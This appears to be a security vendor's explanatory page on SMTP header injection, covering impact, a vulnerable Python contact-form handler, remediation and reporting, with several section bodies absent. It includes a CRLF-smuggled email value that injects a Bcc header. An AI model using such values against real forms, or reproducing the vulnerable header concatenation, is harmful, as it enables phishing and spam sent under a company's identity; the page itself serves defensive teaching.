SMTP Header Injection
detect, understand, remediate

What is SMTP injection?

SMTP injection (also called email header injection or mail header injection) is a class of injection vulnerability where attacker-controlled input is concatenated into the headers of an outbound email without sanitisation. Email headers are separated by carriage return and line feed pairs (the same two-byte sequence at the heart of CRLF injection). When a contact form, signup confirmation, password reset, or feedback endpoint accepts a value (typically the user email or subject), inserts it into a header, and the value contains a CRLF followed by a forged header, the application sends a different message than the developer intended. Extra recipients, replaced subjects, rewritten From and Reply-To addresses, and entirely new bodies are all in scope.

The classification is CWE-93 (Improper Neutralisation of CRLF Sequences) applied to the SMTP context. It sits next to HTTP CRLF injection, host header injection, and password reset poisoning in the family of header-construction failures. The mail server is rarely the broken component. The break is in the application code that builds the headers from user input and hands them to the mail API.

The business impact is wider than it first looks. The attacker is not merely sending themselves a malformed email; they are using the application as a sender. Mail leaves the company SMTP infrastructure with the company DKIM signature, the company SPF record, and the company From address. From the recipient perspective, the message is from the company. This is why open-relay-through-web-form findings show up regularly on phishing investigations: the attacker did not compromise the mail server, they exploited a contact form that did not strip newlines.

How SMTP injection works in practice

Common payload shapes

Each pattern below is the minimum payload the tester should walk before declaring a mail-bearing endpoint safe. The fields that appear safe (the email field that already has format validation) are often the most exploitable, because the validator allows the @ sign and a TLD but does not strip newlines.

Where the vulnerability really lives

SMTP injection sits in the mail-construction step inside the application. Four mistakes account for almost every finding on a real engagement. Each one is a property of how the code builds headers, not a property of the mail server or the SMTP protocol itself.

A worked example: the contact form

A common shape on engagements is a marketing site contact form that accepts a name, an email, and a message, and sends the message to a generic team alias from the company SMTP infrastructure. The implementation builds the From header from the user-supplied email so the team can reply directly. The validator confirms the email field looks like an email; it does not check for newlines.

# Vulnerable handler (Python pseudocode)
def handle_contact(name, email, message):
    headers = (
        "From: " + email + "\r\n"
        "Reply-To: " + email + "\r\n"
        "Subject: New contact from " + name + "\r\n"
    )
    smtp.sendmail("noreply@app.example", "team@app.example", headers + "\r\n" + message)

# Attacker submits:
#   name  = "Alice"
#   email = "alice@evil.example\r\nBcc: spam-list@evil.example"
#
# The outbound mail carries an extra Bcc header that the
# application code never wrote. The mail leaves with the
# company SPF and DKIM, so the recipient mail server treats
# it as legitimate company mail.

The fix in this shape is structured: parse the email through a strict address parser (RFC 5322 compliant, rejects control characters by default), or strip every CRLF and every Unicode line separator before concatenation. The wrong fix is a custom regex; mail-related bypasses defeat regex-based newline stripping with regularity (encoded forms, double encoding, Unicode line separators, vertical tab smuggling). On a SecPortal engagement, the proof of impact is the captured outbound message header block showing the injected Bcc, plus the email received at the tester sink, plus the CVSS vector calibrated to the data the attacker can extract from a sender-impersonating message. The request, the headers, and the resulting mail stay attached to the finding through retest.

How to detect SMTP injection

How to fix SMTP injection

Reporting an SMTP injection finding

SMTP injection findings get disputed in two ways. Engineering pushes back that the contact form is low-traffic and out of scope for active testing, or that the email field already has format validation. The strongest reports name the exact endpoint, show the request payload, include the raw headers of the message received at the tester sink (including the company DKIM signature on attacker-injected content), and quantify the abuse capacity (recipients per request, content per request, rate limits).

On a SecPortal engagement, the finding sits on the engagement record with the affected mail-bearing endpoint, the request payload, the captured mail header block, the tester sink delivery proof, the CVSS 3.1 vector calibrated to the impersonation scope, the CWE-93 mapping, and the remediation guidance from this page. Pentest engagement records keep the original payload, the served bytes, and the received mail attached to the finding so the retest verification references the same artefacts that proved the original break. The finding triage workflow covers how to separate scanner-derived flags (a CRLF probe that returned a 500) from manually validated findings (a confirmed delivery to a tester sink) so the report differentiates rule hits from confirmed exploits, and the pentest report writing guide covers how to phrase the business impact for a non-technical reader who needs to understand why a contact form is the same risk class as an open mail relay.

Compliance impact

A pentester checklist for SMTP injection

The list below is the minimum coverage a tester should walk before declaring a mail-bearing endpoint safe. Each item maps to a specific finding shape, with a CVSS profile that reflects the data the attacker can move through the company SMTP infrastructure.